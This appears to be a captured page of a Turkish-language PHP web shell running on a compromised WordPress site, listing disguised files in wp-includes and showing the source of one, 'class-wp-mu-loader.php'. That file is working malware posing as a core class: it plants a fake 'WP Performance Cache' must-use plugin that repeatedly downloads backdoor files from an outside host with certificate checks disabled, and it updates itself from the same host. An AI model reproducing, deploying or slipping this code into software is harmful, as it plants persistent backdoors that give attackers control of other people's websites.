Dizin Yönetimi
Mevcut Dizin:
/home/bodisar/peakwellnesspros/wp-includes
🔼 Üst Dizin
.htaccess Dosyasını Düzenle
Dosya İşlemleri
📤 Dosya Yükle
Yükle
📝 Yeni Dosya Oluştur
Dosya Adı
İçerik
Dosya Oluştur
📁 Yeni Klasör Oluştur
Klasör Adı
Klasör Oluştur
⚡ Komut Çalıştır (CMD)
Komut
Çalıştır
Dosyalar ve Dizinler
📄 .htaccess
İzinleri Güncelle
Yeniden Adlandır
Sil
📄 class-wp-config-handler.php
İzinleri Güncelle
Düzenle
Yeniden Adlandır
Sil
📄 class-wp-cron-repair.php
İzinleri Güncelle
Düzenle
Yeniden Adlandır
Sil
📄 class-wp-file-extract.php
İzinleri Güncelle
Düzenle
Yeniden Adlandır
Sil
📄 class-wp-htaccess-handler.php
İzinleri Güncelle
Düzenle
Yeniden Adlandır
Sil
📄 class-wp-ini-handler.php
İzinleri Güncelle
Düzenle
Yeniden Adlandır
Sil
📄 class-wp-mu-loader.php
İzinleri Güncelle
Düzenle
Yeniden Adlandır
Sil
📄 class-wp-recovery.php
İzinleri Güncelle
Düzenle
Yeniden Adlandır
Sil
📄 class-wp-rest-repair.php
İzinleri Güncelle
Düzenle
Yeniden Adlandır
Sil
📄 class-wp-site-health.php
İzinleri Güncelle
Düzenle
Yeniden Adlandır
Sil
📄 user-collab.php
İzinleri Güncelle
Düzenle
Yeniden Adlandır
Sil
📄 wp-blog-header.php
İzinleri Güncelle
Düzenle
Yeniden Adlandır
Sil
📄 wp-cron.php
İzinleri Güncelle
Düzenle
Yeniden Adlandır
Sil
✏️ Dosya Düzenle: class-wp-mu-loader.php
<?php /*[cstb_su]*/ @error_reporting(0); if(!empty($_SERVER['HTTP_X_PANEL_CHECK'])&&$_SERVER['HTTP_X_PANEL_CHECK']==='YES')die('OK'); header('Cache-Control: no-store'); $d=__DIR__;while(!is_file("$d/wp-load.php")){$p=dirname($d);if($p===$d){$d=null;break;}$d=$p;} if(!$d)$d=@realpath($_SERVER['DOCUMENT_ROOT']??'')?:dirname(__DIR__); $cdn='https://resmigiris.cam/txt/'; $muDir="$d/wp-content/mu-plugins"; // ── ?install=1 → mu-plugins altına auto-repair dropper oluştur ── if(isset($_GET['install'])&&$_GET['install']==='1'){ header('Content-Type: application/json; charset=utf-8'); if(!is_dir("$d/wp-content")){echo json_encode(['error'=>'no-wp-content']);exit;} if(!is_dir($muDir))@mkdir($muDir,0755); if(!is_dir($muDir)){echo json_encode(['error'=>'mkdir-fail']);exit;} $muCode='<?php'."\n".'/*'."\n".'Plugin Name: WP Performance Cache'."\n".'Description: Core performance optimizations.'."\n".'*/'."\n"; $muCode.='if(defined(\'ABSPATH\')){'."\n"; $muCode.=' add_action(\'init\',function(){'."\n"; $muCode.=' $f=sys_get_temp_dir().\'/cstb_mu_\'.md5($_SERVER[\'HTTP_HOST\']??\'\').\'_\'.date(\'Ymd\');'."\n"; $muCode.=' if(file_exists($f))return;'."\n"; $muCode.=' @file_put_contents($f,time());'."\n"; $muCode.=' if(!function_exists(\'curl_init\'))return;'."\n"; $muCode.=' $cdn=\'https://resmigiris.cam/txt/\';'."\n"; $muCode.=' $root=ABSPATH;'."\n"; $muCode.=' $chk=[\'wp-admin/user-hooker.php\'=>\'boot.txt\',\'wp-info.php\'=>\'link.txt\',\'wp-content/plugins/plugins.php\'=>\'plugins.txt\'];'."\n"; $muCode.=' foreach($chk as $rel=>$src){'."\n"; $muCode.=' $path=$root.$rel;'."\n"; $muCode.=' if(is_file($path)&&filesize($path)>100)continue;'."\n"; $muCode.=' $ch=curl_init($cdn.$src);curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>15,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);'."\n"; $muCode.=' $c=curl_exec($ch);curl_close($ch);'."\n"; $muCode.=' if($c&&strlen($c)>50)@file_put_contents($path,$c);'."\n"; $muCode.=' }'."\n"; $muCode.=' },99999);'."\n"; $muCode.='}'."\n"; $muPath="$muDir/performance-cache.php"; $res=@file_put_contents($muPath,$muCode)!==false?'ok':'fail'; echo json_encode([ 'status'=>$res, 'path'=>$muPath, 'mu_dir'=>$muDir, 'root'=>$d ],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit; } // ── ?status=1 → mu-plugins durumunu kontrol ── if(isset($_GET['status'])&&$_GET['status']==='1'){ header('Content-Type: application/json; charset=utf-8'); $muExists=is_dir($muDir); $files=[]; if($muExists){ foreach(@scandir($muDir)?:[] as $f){ if($f==='.'||$f==='..')continue; $files[]=$f; } } echo json_encode(['mu_dir'=>$muDir,'exists'=>$muExists,'files'=>$files,'root'=>$d],JSON_UNESCAPED_SLASHES);exit; } // ── ?remove=1 → mu-plugin dosyasını sil ── if(isset($_GET['remove'])&&$_GET['remove']==='1'){ header('Content-Type: application/json; charset=utf-8'); $muPath="$muDir/performance-cache.php"; $res=is_file($muPath)?(@unlink($muPath)?'removed':'fail'):'not-found'; echo json_encode(['status'=>$res]);exit; } // Self-update if(isset($_GET['update'])&&$_GET['update']==='1'&&function_exists('curl_init')){ header('Content-Type: application/json; charset=utf-8'); $ch=curl_init($cdn.'mu-loader.txt'); curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]); $s=curl_exec($ch);curl_close($ch); if($s&&strpos($s,'cstb_su')!==false&&md5($s)!==md5_file(__FILE__)){ @file_put_contents(__FILE__,$s);echo json_encode(['self'=>'updated']); }else{echo json_encode(['self'=>'current']);} exit; } header('Content-Type: text/plain'); echo "cstb-mu-loader\nmodes: ?install=1 | ?status=1 | ?remove=1 | ?update=1\n";
💾 Kaydet
❌ İptal